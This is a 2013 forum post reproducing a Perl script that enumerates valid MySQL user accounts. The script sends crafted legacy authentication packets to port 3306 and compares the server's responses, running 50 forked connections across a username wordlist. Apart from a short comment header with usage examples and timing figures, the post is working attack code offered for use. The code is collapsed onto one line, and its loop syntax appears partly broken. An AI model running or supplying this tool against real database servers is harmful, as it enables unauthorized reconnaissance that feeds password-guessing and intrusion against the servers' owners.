wind Posted March 19, 2013 Report Posted March 19, 2013 # MySQL User Account Enumeration Utility# When an attacker authenticates using an incorrect password# with the old authentication mechanism from mysql 4.x and below to a mysql 5.x server# the mysql server will respond with a different message than Access Denied, what makes# User Account Enumeration possible.# The Downside is that the attacker has to reconnect for each user enumeration attempt#20000 user accounts in 7 minutes#Mon Jan 16 09:00:18 UTC 2012#Mon Jan 16 09:07:26 UTC 2012#root@vs2067037:~# wc -l MEDIUM.LST#21109 MEDIUM.LST#A usernames.txt wordlist is included in this package#examples:#root@vs2067037:~# perl mysqlenum.pl host usernames.txt##[*] HIT! -- USER EXISTS: administrator@host##root@vs2067037:~# perl mysqlenum.pl host usernames.txt##[*] HIT! -- USER EXISTS: admin@host#use IO::Socket;use Parallel::ForkManager;$|=1;if ($#ARGV != 1) {print "Usage: mysqlenumerate.pl <target> <wordlist>\n";exit;}$target = $ARGV[0];$wordlist = $ARGV[1];$numforks = 50;$pm = new Parallel::ForkManager($numforks);open FILE,"<$wordlist";unlink '/tmp/cracked';@users = ();$k=0;while(<FILE>) { chomp; $_ =~ s/\r//g; $users[$k++] = $_;}close FILE;$k2 = 0;for( {for ($k=0;$k<$numforks;$k++) {$k2++;if (($k2 > $#users) or (-e '/tmp/cracked')) {exit;}my $pid = $pm->start and next;$user = $users[$k2];goto further;again:print "Connect Error\n";further:my $sock = IO::Socket::INET->new(PeerAddr => $target, PeerPort => '3306', Proto => 'tcp') || goto again;recv($sock, $buff, 1024, 0);$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50". "\x4e\x5f\x51\x55\x45\x4d\x45\x00";$buf = chr(length($buf)-3). $buf;print $sock $buf;$res = recv($sock, $buff, 1024, 0);close($sock);if ($k2 % 100 == 0) {print $buff."\n";}if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}unless (-e '/tmp/cracked') {open FILE, ">/tmp/cracked";close FILE;print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";open FILE, ">jackpot";print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";exit;}}$pm->wait_all_children;} Quote